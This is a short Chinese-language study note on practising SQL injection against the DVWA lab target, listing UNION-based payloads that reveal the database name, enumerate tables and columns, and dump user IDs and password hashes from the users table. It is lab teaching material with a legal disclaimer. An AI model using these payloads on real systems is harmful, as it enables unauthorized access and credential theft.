web安全学习笔记(三)——SQL注入靶机测试
今天尝试了SQL注入靶机爆库爆表操作,分享如下:
1.设置靶机安全级别为低级
2.进入SQL注入界面
3.输入1提交
3.用单引号让id闭合,输入1’ union select 1, database()#
4.既然知道了数据库,就尝试爆出数据库中的表,输入
1’ union select 1,table_name from information_schema.tables where table_schema=‘dvwa’#
5.爆出表名如上图所示,尝试爆出users表的列,输入
1’ union select 1,column_name from information_schema.columns where table_name=‘users’#
6.关注该表中的关键字段id和password,尝试爆数据,输入
1’ union select user_id,password from users#
该内容仅用于学习,请遵守国家相关法律法规,不要将技术用于非法行径,学习时请不要对网站进行操作,共同维护绿色网络环境,请使用靶机进行练习。